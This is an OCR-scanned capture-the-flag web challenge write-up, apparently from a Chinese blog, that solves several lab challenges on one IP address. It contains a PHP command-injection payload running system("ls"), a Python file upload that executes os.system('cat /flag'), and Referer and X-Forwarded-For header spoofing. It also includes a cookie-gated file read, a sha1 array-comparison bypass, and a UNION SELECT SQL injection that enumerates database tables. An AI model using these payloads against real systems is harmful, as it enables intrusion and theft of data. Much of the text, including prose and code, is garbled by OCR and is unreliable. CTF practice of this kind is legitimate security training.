FRPIEW?
HTIFE H

¥iitpayload (R1E—F)

keykey56789key:/1/keya@

WG BT 15 2lflag



<?php
highlight_file('Z.php');
Skoy="FLlag{#Fkkktukikiokskiok ok kdkk ok ok kkk ) 1

$IM= preg match("/key.*key.{4,Tlkey:\/.\/(.*key) [a-z] [[:punct:]11/i", trim($_GET["id"]), Smatch);
1f( SIM ){
die('key is: '.Skey):

}
2> key is:| flag{ecb3e9b2f3a09cd 1aa73bdef5c6ee342}

N D=mF Dasy O@Etm NEs ((esees Qe Orr Bew W TESks 8 uBes @ Hacksar
Encryption ~ Encoding~ SQL~ XSS~ Other ~
‘@ Load URL hitp://114 67.175.224:12026/7id=
g"é Split URL

» ) Execute .
. [] Postdata [] Referer [ User Agent [ Cookies Clear All

shell

TR RIS MER, TREZEE KRR

- C O & 114.67.175.224:12391

D alERswsa S FFrE D =A@ 5Fas @ SZ6M - LG - 1SG...

CSDN @devil sad

F R Hi&payload s=system(“Is”) & FE B 12

&« c O & 114.67.175.224:12391/?s=system("ls")

O yamssds Y FHELE O =AM @ =FEE @ S=8#% - GG - 1SG... € ¢

flagal5808abeed46alds.txt index.php

CSDN @devil sad

TREHMMEIURLE, BRI 2lflag

CSDN @devil_sad



G O=sx Dasa DEts Nrs Oatess Oue Owar Bei F oEsms B odes @ Hadear
Encryption = Encoding ~ SQL~ XSS~ Other ~
g Load URL http://114.67.175.224:12391/flaga15808abee46a1d5.txt
g{:‘ Split URL
CSDI @devil_sad
/N
i A\ I8 R SR
& E KI— 7R : google
- X O & 114.67.175.224:17102
O xalermss HFrE OxaEmt @ Fras @ S=n -
are you from google?
C5DN @devil_sad
Fbp#l . & i% F|Repeater, #i& 1% K kReferer, B A5 F|flag
| Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz — O >

qQ Burp Intruder Repeater Window Help

1 {Target T Proxy I Spider ]' Scanner I Intruder TRepeatef T Sequencer I Decoder T Comparer I Extender T Project options T User options ]'A\erls }

1= 2= ..

Target: http:/1114.67.175.224:17102 | # || 7

Go Cancel < |v >|*

T

cookies

fl
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex
—— HTTR/.1 200 OK A
Name | abee | Add Dats: Tue, 30 Nov 2021 02:43:57 GMT r
Host 114.67.175.224:17102 E — Server: Apache/2.4.7 (Ubuntu)
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; n94.0)... Remove ¥-Powered-By: PHP/5.5.9-1ubuntud 6
Accept text/html application/xhtml+xml, application/xml;q=_.. T Content-Length: 41
Accept-Language zh-CM,zh:q=0.8.zh-TW;g=0.7.zh-HK:q=0.5.en-US;._. Connection: close
Accept-Encoding gzip, deflate Down Content-Type: text/html
Connection close
Cookie Hm_t_c1b0447909411ac421304510478e967c=1637... #hAFlag[542ef91305cI7 13h0c475e 154788}
Upgrade-Insecure-Requests 1
Cache-Control max-age=0
referer https://www.google.com [{

CS5DN

@devil sac




fTABEHKIA—HFrrH, BHKRE, TREflenameEMZ: flename=keys.txt

O 8 114.67.175.224:11990/index.php?line=&filename=a2V5cy50eHQ=

D xR Y FFts O xAMLt @ sU5raE @ B0 - LG - LSG... € CSDN - Tl FF s ... DEENERNEEDRL ( °- )| L.

rirgrggggggoaihegfdiofi48ty598whrefeoiahfeiafehbalenvdivrbgtubgtrsgbvaerubaufibryrirgrggggggoaihegid i0ﬂ48t;]5 98whrefeoi

CSDN @devil_sad

iR kfilenamelI{E Nindex.php(E FHbase64in%) , HAlineWEH, K

O & 114.67.175.224:11990/index.php?line=1&filename=aW5kZXgucGhw

O xalErmss Y FFELEE O =AM @ =FaE @ SZ%# - LG - 1SG... |[C CSDN - ZlftAsi... IEEEAEEDE

error_reporting(0);
CSDN @devil_sad

2t AN Z R R BLIRACRS (R AT A AR B HH RO

<?php

error_reporting(®);

$file=base64_decode(isset($_GET['filename'])?$ GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=="") header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(

'Q0' =>'keys.txt',

'1' =>"'index.php',

)s

if(isset($_COOKIE[ 'margin']) && $_COOKIE[ 'margin']=="margin'){

$file_list[2]="keys.php"';

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];

}

?>



IR, Hcookieffimargin=marginks, T LAV i —4 keys.php3C 4 , T & Fbpf& i & 1% B 7] 18 Flflag

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz
Burp Intruder Repeater Window Help
[Target I Proxy T Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender T Project options I User options IAIerts }

1= |2 = | ..
Go Cancel <|v > | Target: htp://114.67.175.224:11990 E

Response

Request

Raw | Params | Headers | Hex Raw | Headers | Hex

HTTR/1.1 200 OK
Date: Wed, 01 Dec 2021 01:48:18 GMT

GET request to /index.php

Type | Name | Value Add Server. Apache/2.4.7 (Ubuntu)
URL line X-Powered-By: PHP/5.5.9-Tubuntud 6
|URL filename aZV5cy5waHA= Remove Content-Length: 55
Cookie Hm_Ivt_c1b044f909411ac... 1637827855 Connection: close
Cookie ga GA1.1.1173805314.1637827858 L Up |  ContentType: textmim
[Coorae margin margin Down <Pphp $key=|"ﬂag{BQTeechBb6938a5600035a89928d551 1:|o>
CSDN @devil_sac
login1
N =
FIHEBE R —NEFFH
& > O A FER | 11467.175.22416583/indexphp s e
fase
WEBEERSF

B2

BARE:

admin

=i

WEGTE A )

na

© WEBETEZS.

CSDN @degvil_sad
173N — N5 & B0 H R T
& > G A TEE | 11467.17522416583/register php o
farta s
CTFERRESR
iEhn
EARARTH
CSDN @devil_sad

BHEENES( O )r



WEBEIERS

g5
TEEERFEE ag? !

BRa:
=8

O icfEEm

SIS A A7

© WEBEHRZRS:.
CSDN @devil_sad

TRHAadmin+ZFiEAIRIKS (adminlk 545 O, EHEEHKHFAREFENSBEBRZE, B8R

£)

P 5 i J B AT 45 2l flag

WEBEIERS
B5F
flag{d6fb181644deb8c1abde71fd69250786}
BAR&:
=
[RrTE 20

S——

© WEBEIEZRS

CSDN @devil_sad

Flask_fileUpload
T8 B RIS A& R 2 jpg 5 pnghs 2RI S



.. 110

O O==s Uie Dasg NRE deteEe O O B e w cEsms 828 wEss @ Hacksar

Q=3 HTML + | ViEE
<html» oE O
¥ <head:> (= < /head> ¥
w <body>

w <form action="/uploader” method="POST" enctype="multipart/form-data">

<input type="file" name="file" accept=" m
5

<input type="submit"»

</form»
<!--Give me the file, and I will return the Running results by python to you!-->»
b <div id="mococn-eb55e55b-85f1-4a42-bfel-1fa8048e8747 -crop-overlay” title="{RehFHs, AdEkEFERRE" style="display: none; left:
Bpx; top: @px; width: 1536px; height: 313px; "> (= </div>
</body>
</htmls CSDN @devil_sad

RN pyhtonfE NiR B 4558, FrLARRATE E T flpythoniE ik F i systemki #. systemifi i aT LA 7455 5 #44k
Bin A TEMR S8y LigfT; HIFHE R —%systemBHPATH, KB N FRHEBERA LPITHLT, Fit
FERPAT SRR W E S

import os
os. system('cat /flag')

LA ERBD, HF gt

@ 11.jpg - iCFE
) HREE(E) RERU(0) EE(V) EEEIH)

import os
0s. system('cat /flag')

CSDN @devil_sadl

HfERIE, FF121TFEP R 15 2lflag



file uploaded successfully!

O O== Des Dt NmE (egss O e B W oEshs 8 uses @ He
Q, &3 HTML + 2

<html>
<head»</head>
w <body>
file uploaded successfully!

¢!--flag{3eela73155545efadatabab2ab2a7fob}-->
</body>
</html>

CSDN @devil_sad

5P o2 id
BEERG

<?php
highlight_ file('flag.php');
$_GET['id'] = urldeccde (5_GET['id']);
$flag = 'flag( [
if (isset($ GET['uname']) and isset($ POST['passwd']l)) {
if (5_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (shal($_GET['uname']) === sghal (5_POST['passwd'])&($_GET['id']=="margin'))
die('Flag: '.5flag);
else

print 'sorry!';

CSDN @devil_sad

GET#£ZidLL kuname, POSTfZpasswd, EKid=margin, #Af5unamell kpasswd A%, #unamefl
passwdiE 4, F AshalToiEdL e HdH Hig [EE Anull.

F R A E i payload Bl 7] 15 Elflag



<?php

highlight file('flag.php'):

$ GET['id'] = urldecode($_GET['id']);

Sflag = 'flag{X¥XXXXXXXEEEHENEKE]} "}

if (isset($_GET['uname']) and isset (5_POST['passwd'l)) {
if (5_GET['uname'] == 5 POST['passwd'])

print 'passwd can not be uname.';

else if (shal($_GET['uname']) === shal($_POST['passwd'])&($5_GET['id']=="margin'"))
die('Flag: '.$flag);

else

print 'sorry!';

W e

> Flag: flag{a08be92f064241de7e699886ed8e195b}

O O==x Oeaa Oess NRs (Iesse O Do Beg T Tmeie 8 vEes @ Hacksar

Encryption +  Encoding~ SQL v XSS~ Other ~

s Load URL http://114.67.175.224:11 T?OZPuname[]fl &id=margin |
;}L‘ Split URL
-
§ Postdata [] Referer [] User Agent [] Cookies Clear All
passwd[]=2

CSDN @davil_sad

FE P B 2 b )
LB SR A 1

EAAIBIIR) !

N O=8s Dase DEssE Nms (Ieess Qe Oes BB  oESks 8 oEes @ Hacksar
Encryption ~ Encoding~ SQL ~ XSS~ Other v

01 ) - X
Gontribute now! HackBar v2

i Load URL http://114.67.175.224:15733/
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#T 7 Burpsuitedlif, fEHeadersin t: X-Forwarded-For: 127.0.0.1, GO— T WiE &5 F|flag

PS: X-Forwarded-For: fE#fXFFk, BAREXEZ 4, HBMEHTTPHIERBEEZNIP, REEEL THTTP A
H B BRI R 55 B A S INiZ I



5| Burp Intruder Repeater Window Help

Burp Suite Professional v1.7.32 - Temporary Project - licensed to surferxyz

oy

[Target T Proxy ISplder TScanner I Intruder TRepeﬂel TSequencer I Decoder TComparer I Extender T Project options I User options IAJer‘ts ]

34|

1« | ..
Go Cancel

1 <lv || > Target: http:/1114.67.175.224:15733 EJ
i
5 Request Response
' [ Raw | Params [ Headers | Hex Raw | Headers | Hex
[ Name ‘Value | HTTPA .1 200 Ok
| Date: Fri, 10 Dec 2021 01:51:00 GMT
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; r... H Server: Apache/2.4.7 (Ubuntu)
Accept text/html, application/xhtml+xml,application/x. .. X-Powered-By: PHP/5.5.9-1ubuntud &

Accept-Language
Accept-Encoding
={| Connection
Cookie

—{| Referer
15 | Cache-Cantrol

Upgrade-Insecure-Requ...

zh-CM.zh:q=0.8,zh-TW:q=0.7,zh-HK;q=0 5.e___

gzip, deflate
close

Hm_ht c1b044f909411ac42130450478e96fc...

1
http://114 67 175 224:15733/

max-age=(0

‘X—Forward ed-For

127.0.01

e

¥

Content-Length: 38
Connection: close
Content-Type: text/html; charset=utf-8

‘ flag{1103a57785817 c02bd1d283hb2aefd85}

G E #)

MARAGIEFER, WESKAE, WHIIEN4.

unionBX A& H

BB

©' union select 1,2,3,4#
©' union select 1,2,3,4,5#

REEER

1,2,3...

1HIRER
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@' union select 1,2,3,database()#
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EREH

1,2,3... ‘

1HIBk SRR

2 3 sketf

CSDN @devil_sad
AEE sketf

@' union select 1,2,3,table_name from information_schema.tables where table_schema='skctf'#

1,2,3... ‘
18Rk
2 3 fldg
CSDN @cdlevil_sad
HER fldg
PXEREH
1,2,3.. ‘

1RIRLSRER

N
w

sketf_flag

BEE 15 3flag

@' union select 1,2,3,skctf_flag from flag#



REER

ion select 1,2,3,skctf_flag from fl4g#|

0' union select 1,2,3,sketf_flag from flag#

2 3 flag{a1a49ae340d1f42aaec0586630d2232e}
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